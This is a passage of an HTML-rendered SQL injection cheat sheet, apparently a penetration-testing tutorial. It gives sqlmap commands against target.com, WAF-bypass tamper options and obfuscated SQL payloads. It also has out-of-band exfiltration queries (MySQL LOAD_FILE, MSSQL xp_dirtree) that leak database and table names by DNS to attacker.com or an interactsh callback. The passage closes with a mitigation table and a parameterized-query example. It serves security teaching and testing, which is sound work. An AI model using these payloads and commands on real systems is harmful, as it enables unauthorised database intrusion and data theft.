&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Via POST request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;http://target.com/login&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;  --data&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;admin&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;password&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;  -p&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; username&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Via Burp intercepted request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; request.txt&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --batch&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --level=5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# With authenticated session cookie&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;http://target.com/profile?id&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;  --cookie&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;session&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;abc123&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;csrftoken&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;xyz&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;  --batch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;sqlmap-with-proxy-burp-suite&quot;&gt;sqlmap with proxy (Burp Suite)&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;http://target.com/user?id&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;  --proxy&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;http://127.0.0.1:8080&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;  --batch&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --tamper=space2comment,randomcase&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;waf-bypass&quot;&gt;WAF bypass&lt;/h2&gt;
&lt;h3 id=&quot;useful-sqlmap-tamper-scripts&quot;&gt;Useful sqlmap tamper scripts&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Space → SQL comment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;--tamper&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;space2comment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Random case: SELECT → SeLeCt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;--tamper&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;randomcase&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Encode URL payloads&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;--tamper&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;percentage&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Combine multiple tampers&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;--tamper&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;space2comment,randomcase,between&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;manually-obfuscated-payloads&quot;&gt;Manually obfuscated payloads&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;sql&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Spaces replaced with comments&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;/**/&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;AND&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;/**/&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Inline comments to separate keywords&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt; /*!AND*/&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Hex encoding of strings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(),&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;0x64&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Double URL encoding (for WAFs that decode once)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;2527&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  →  %&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;27&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  →  &amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;out-of-band-oob-exfiltration&quot;&gt;Out-of-Band (OOB) Exfiltration&lt;/h2&gt;
&lt;p&gt;When both boolean and time-based are blocked, exfiltrate via DNS or HTTP.&lt;/p&gt;
&lt;h3 id=&quot;mysql--dns-exfiltration&quot;&gt;MySQL — DNS Exfiltration&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;sql&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Requires FILE privilege and external DNS resolution&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; LOAD_FILE(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;CONCAT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&amp;#x26;#x27;\\\\&amp;#x26;#x27;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  (&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  &amp;#x26;#x27;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;attacker&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;com&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;\\share&amp;#x26;#x27;))&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;mssql--xp_dirtree-dns&quot;&gt;MSSQL — xp_dirtree DNS&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;sql&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Via xp_dirtree (no need for xp_cmdshell)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;EXEC&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; master&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;dbo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.xp_dirtree&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  &amp;#x26;#x27;\\&amp;#x26;#x27; + (&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; TOP&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; table_name &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; information_schema&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;tables&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) + &amp;#x26;#x27;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;attacker&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;com&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;\x&amp;#x26;#x27;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;capturing-with-interactsh-or-burp-collaborator&quot;&gt;Capturing with interactsh or Burp Collaborator&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Start listener with interactsh-client&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;interactsh-client&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -v&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Your callback URL is: xxxx.interactsh.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Use in payload:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# &amp;#x26;#x27; AND LOAD_FILE(CONCAT(&amp;#x26;#x27;\\\\&amp;#x26;#x27;, database(), &amp;#x26;#x27;.xxxx.interactsh.com\\x&amp;#x26;#x27;))--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;mitigation&quot;&gt;Mitigation&lt;/h2&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Vector&lt;/th&gt;&lt;th&gt;Recommended Control&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Dynamic query&lt;/td&gt;&lt;td&gt;Use &lt;strong&gt;Prepared Statements&lt;/strong&gt; / Parameterized Queries&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Insecure ORM&lt;/td&gt;&lt;td&gt;Avoid raw queries; use ORMs with bind parameters&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Verbose errors&lt;/td&gt;&lt;td&gt;Disable stack traces in production&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Lack of WAF&lt;/td&gt;&lt;td&gt;Implement WAF with OWASP CRS rules&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Excessive permissions&lt;/td&gt;&lt;td&gt;DB user should only have SELECT on necessary tables&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OOB via DNS&lt;/td&gt;&lt;td&gt;Block outgoing DNS resolution on the DB server&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# SECURE: Parameterized query in Python (psycopg2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; psycopg2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;conn &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; psycopg2.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;dbname&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;app &lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;readonly&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;cur  &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; conn.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;cursor&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;user_id &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; request.args.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;id&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;cur.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;execute&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; username &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; users &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;WHERE&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; %&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;, (user_id,))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;row &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; cur.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;fetchone&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;OWASP SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&quot;&gt;PayloadsAllTheThings — SQLi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sqlmap.org/&quot;&gt;sqlmap documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/sql-injection/blind&quot;&gt;PortSwigger Web Security Academy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
